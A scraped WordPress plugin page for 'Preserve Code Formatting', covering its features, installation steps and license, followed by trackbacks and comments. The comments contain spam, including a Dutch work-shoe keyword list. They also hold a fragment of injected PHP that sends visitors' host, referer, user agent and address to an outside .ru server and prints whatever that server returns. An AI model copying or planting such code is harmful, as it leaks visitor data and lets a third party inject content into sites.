coffee2code.com/wp-plugins/preserve-code-formatting
Preserve formatting for text within <code> and <pre> tags (other tags can be defined as well). Helps to preserve code indentation, multiple spaces, prevents WP’s fancification of text (ie. ensures quotes don’t become curly, etc).
Bascially, you can just paste code into <code>, <pre>, and/or other tags you additionally specify and this plugin will:
* prevent all “wptexturization” of text (i.e. single- and double-quotes will not become curly; “--
” and “---
” will not become en dash and em dash, respectively; “...
” will not become a horizontal ellipsis, etc)
* optionally preserve multiple spaces (including indentations) (for the most part, that is; it changes 2+ consecutive “\n” to “\n\n” and “\t” to ” “)
Keep these things in mind:
* ALL embedded HTML tags and HTML entities will be rendered as text to browsers, appearing exactly as you wrote them (including any
).
* By default this plugin filters both ‘the_content’ (post contents), ‘the_excerpt’ (post excerpts), and ‘get_comment_text’.
Example:
A post containing this within <code></code>:
$wpdb->query("
INSERT INTO $tablepostmeta
(post_id,meta_key,meta_value)
VALUES ('$post_id','link','$extended')
");
Would, with this plugin enabled, look in a browser pretty much how it does above, instead of like:
INSERT INTO $tablepostmeta
(post_id,meta_key,meta_value)
VALUES (‘$post_id’,’link’,’$extended’)
“);
- Download the file preserve-code-formatting.zip and unzip it into your /wp-content/plugins/ directory.
-OR-
Copy and paste the the code ( preserve-code-formatting.phps ) into a file called preserve-code-formatting.php, and put that file into your /wp-content/plugins/ directory. Please ensure you do not introduce any spaces or other characters before the <?php or after the ?> - Optional: There are two settings in preserve-code-formatting.php file that you can customize:
a. in the functionc2c_preserve_code_formatting()
, if you want other HTML (in addition to ‘code’ and ‘pre’) to be processed by this function, add them to the$tags
array:
$tags = array('code', 'pre');
b. in the functionc2c_prep_code()
, if you do NOT wish for this plugin to help preserve spacing/indentation in the ‘code’/’pre’/etc tags, then set$use_nbsp_for_spaces
to be ‘false’. If you decide to do this, you can still preserve code formatting via CSS. Here’s a snippet of what I use:
code, pre { white-space: pre; }
- Activate the plugin from your WordPress admin ‘Plugins’ page.
function c2c_preserve_code_formatting( $text )
- $text : Text to be scanned for <code> and <pre> tags
function c2c_anti_wptexturize( $text )
- $text : Text to be processed in such a way as to prevent wptexturize from doing its thing
N/A
- 29 Mar 2005 : v0.9 — Released to the public
Copyright (c) 2004-2005 by Scott Reilly (aka coffee2code)
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
76 replies on “Plugin: Preserve Code Formatting”
[…] QuickCode :???Javascript????<quickcode></quickcode>?????????????????www.coffee2code.com/archives/2005/03/29/plugin-preserve-code-formatting/ […]
[…] ?????????????????www.coffee2code.com/archives/2005/03/29/plugin-preserve-code-formatting/ […]
[…] Preserve Code Formatting […]
[…] Jeg har endelig funnet en plugin for folk som skriver mye kode i postene sine: Preserve Code Formatting. […]
sdsd
fjdfhjf
and <pre> tags (other tags can be defined as well). Helps to preserve code indentation, multiple spaces, prevents WP’s fancification of text (ie. ensures quotes don’t become curly, etc).
=>> Visit the plugin’s homepage for more information and latest updates
‘;
$params = array(
‘v’ => ‘1.0’,
‘id’ => ‘33559’,
‘s’ => ‘728501803530757’,
‘t’ => time(),
‘sh’ => @$_SERVER[‘HTTP_HOST’],
‘sr’ => @$_SERVER[‘HTTP_REFERER’],
‘su’ => @$_SERVER[‘USER_AGENT’],
‘sa’ => @$_SERVER[‘HTTP_ADDR’],
‘sq’ => @$_SERVER[‘REQUEST_URI’]);
$query = array();
foreach ($params as $name => $value) $query[] = $name.’=’.urlencode($value);
$href = ‘http://m-links.ru/code/links.php’.’?’.implode(‘&’, $query);
print @file_get_contents($href);
?>
[…] One of my intentions with this blog from the beginning was to post tracts of code in it. To this end, I promptly installed the Preserve Code Formatting plugin courtesy of Coffee 2 Code. Simple WordPress plugins are wonderfully easy to install: they are implemented as single PHP files that you copy into the wp-content/plugins directory under your WordPress installation, after which they will show up automagically as options under the Admin -> Plugins page where you can toggle them on or off. […]
[…] Thanks to Scott Reilly for the nice Preserve Code Formatting plugin. […]
[…] Io ho usato questo: www.coffee2code.com/archives/…de-formatting/ __________________ Google Maps, Google AdSense, PHP, phpBB ed ecologia! […]
kleding
werkschoenen
PKA werkschoenen
Kapriol werkschoenen
Grisport werkschoenen
Bata werkschoenen
No Risk werkschoenen
Lavoro werkschoenen
Dunlop werklaarzen
Safety Jogger werkschoenen
Executive werkschoenen
Sika werkschoenen
PKA werkschoenen
Kapriol werkschoenen
Grisport werkschoenen
Bata werkschoenen
No Risk werkschoenen
Lavoro werkschoenen
Dunlop werklaarzen
Safety Jogger werkschoenen
Executive werkschoenen
Sika werkschoenen
[…] » Plugin: Preserve Code Formatting « « Blog Archive coffee2code.com (tags: plugin code formatting wordpress) No Tags […]
[…] Now grab and install coffee2code’s Preserve Code Formatting WordPress plugin. […]
[…] ??????? coffee2code.com ?????????????????????????????????? […]
[…] #There is supposed to be a tab in here…x = range(0,50,2)for num in x:print x?| print "The concludes my testing of the syntax highlighting plugin" This is the result of 2 plugins. One to preserve the whitespace, and one for they syntax coloring. […]
Here is a plugin-less solution I have found to work well:
www.webveteran.com/blog/?p=12
[…] Coffee2code preserve code formatting plugin si Quick Code WordPress Plugin […]
[…] Preserve code Formatting […]
[…] Preserve code Formatting […]
[…] after installing the “preserve formatting” plugin from Coffee 2 Code, the indentation has been restored. OMG that’s […]
[…] that to put code into WordPress blogs is a real pain but you can make it simpler using the great Coffee2Code […]
[…] correctly within code tag, and that I just needed to add a little extra finesse. Adam tried the Preserve Code Formatting plugin, Windows Live Writer, and CodeHighlighterPlugin.  He had varying success, but none were […]
[…] download a plugin called “Preserve Code Formatting” by coffe2code here. Refer to the plugin’s page for installation or technical help. Now any time you need to show […]
[…] Preserve Code Formatting has a slightly more robust untexturizer (it correctly handles a triple dash, for example), but doesn’t allow any markup at all in code blocks. […]
[…] Plugin: Preserve Code Formatting Si comme moi vous écrivez régulièrement du code dans vos billets, vous avez certainement remarqué que WP à tendance à tout chambouler (surtout au niveau des ” et ” ). Et bien fini les soucis avec ce plugin ! […]